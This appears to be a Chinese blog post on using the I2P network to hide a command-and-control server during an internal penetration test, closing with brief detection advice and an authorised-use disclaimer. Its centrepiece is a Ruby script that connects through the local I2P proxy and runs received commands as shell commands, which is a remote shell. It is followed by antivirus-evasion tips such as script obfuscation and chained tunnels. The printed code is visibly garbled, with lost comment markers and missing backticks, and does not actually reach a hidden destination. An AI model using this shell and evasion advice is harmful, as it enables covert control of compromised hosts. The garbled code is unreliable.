0x01 迷雾中的渗透案例
在一次内部渗透测试中,我们的目标是评估公司内部服务的安全性。目标是一个位于内网的敏感数据库,然而,我们需要在不暴露自身位置的情况下进行测试。考虑到匿名性的重要性,我们选择了使用 I2P 网络来构建我们的渗透路径。

I2P (Invisible Internet Project),是一个允许用户匿名地在互联网上进行交流和访问服务的网络。它通过创建一个分布式的、去中心化的匿名网络,帮助用户隐藏他们的 IP 地址。我们的目标是在完全隐藏我们的真实位置的情况下渗透进入目标网络。
深入迷宫:I2P 网络的奥秘
I2P 的工作原理
I2P 是一个复杂的混合网络,主要通过加密的“隧道”来隐藏用户的流量。每个用户都有自己的加密隧道,流量通过多个节点进行路由和加密,确保任何单节点都无法识别流量的来源和去向。
- 入站隧道:用于接收流量,确保入站流量隐藏来源。
- 出站隧道:用于发送流量,确保出站流量隐藏目的地。
I2P 网络的关键在于“洋葱路由”,通过一层层加密,只有目标节点能够解密最终信息。
I2P 的应用场景
I2P 主要用于保护隐私,包括:
- 匿名的 Web 浏览
- 隐藏服务(类似于 Tor 的.onion 服务)
- 安全的文件共享
在渗透测试中,我们可以利用 I2P 隐藏 C2 服务器的位置,确保我们的控制链路不被追踪。
通过兔子洞:环境搭建
准备工作

我们首先需要搭建一个 I2P 节点来测试匿名性。确保你的系统上已经安装了 Java,因为 I2P 需要依赖它来运行。
- 下载 I2P 软件
前往 I2P 的官方网站下载适用于你操作系统的客户端。
- 安装 I2P
安装过程非常简单,按照提示一步步完成即可。安装完成后,启动 I2P 路由器。
- 配置 I2P
访问 I2P 控制台(通常为 http://127.0.0.1:7657),在这里你可以看到你的节点信息和隧道状态。确保所有隧道都已正确建立。

创建 I2P 隧道
在控制台中,可以创建新的入站和出站隧道来满足不同的匿名需求。对于渗透测试,我们通常需要配置一个隐藏服务,确保我们的 C2 服务器完全隐藏。
使用 I2P 实现匿名访问
在控制台中,配置你的浏览器或者其他网络工具使用 I2P 代理,这样所有的网络访问都将被 I2P 隐藏。
Payload构造的艺术:Ruby 与 Shell 的结合
在渗透测试中,我们通常需要结合多种工具和语言,下面是一个使用 Ruby 和 Shell 的简单示例,来实现通过 I2P 进行匿名的 C2 通信。

<pre><code class="language-ruby">#!/usr/bin/env ruby
require 'socket' require 'openssl'
连接到 I2P 代理
proxy_host = '127.0.0.1' proxy_port = 4444
begin socket = TCPSocket.new(proxy_host, proxy_port) ssl_context = OpenSSL::SSL::SSLContext.new ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context) ssl_socket.connect puts "连接成功,正在等待命令..."
while (command = ssl_socket.gets)
执行 Shell 命令并返回结果
result = #{command} ssl_socket.puts(result) end
rescue => e puts "连接失败: #{e.message}" ensure ssl_socket.close if ssl_socket socket.close if socket end</code></pre>
在这段代码中,我们通过 I2P 代理连接到一个隐藏的 C2 服务器,使用 SSL 加密确保数据传输安全。接收到命令后,使用 Shell 执行并返回结果。
漂亮的隐藏:免杀与对抗技巧
为了确保我们的渗透活动不被检测到,我们需要确保我们的通信和载荷不被防御系统发现。以下是一些常见的对抗技巧:
使用混淆技术
通过混淆 Ruby 脚本,可以降低被杀毒软件识别的风险。使用 Ruby 的混淆器工具对代码进行处理,使其更难以逆向工程。
SSL 加密
通过使用 SSL 加密我们的通信,与 I2P 隧道结合,可以有效隐藏我们的流量内容。
隧道链
通过多个 I2P 隧道进行流量转发,增加追踪难度。
发现蛛丝马迹:检测与防御
尽管 I2P 提供了强大的匿名性,但仍有一些方法可以帮助检测和防御潜在的 I2P 活动:
流量分析
监控网络流量,识别异常的流量模式和端口使用情况,可能会发现 I2P 节点的蛛丝马迹。
策略规则
通过制定严格的网络访问策略,限制未经批准的 I2P 使用。
主机检测
在主机上使用反恶意软件工具,检测可能的 I2P 软件和相关配置。
经验分享
在这次渗透测试中,I2P 为我们提供了极佳的匿名性,确保了我们的操作不被目标系统发现。与 Tor 相比,I2P 在隐藏服务上有着更好的表现,特别是在内网环境中。但也需要注意的是,I2P 的性能问题在某些情况下可能会影响大型渗透任务的效率。
通过 I2P 的使用,我们能够安全地进行内部渗透测试,并验证目标系统的防御能力。在实际操作中,保持低调和混淆技术的使用是成功的关键。
注意:本文内容仅限于授权的安全研究和测试,请勿用于任何非法目的。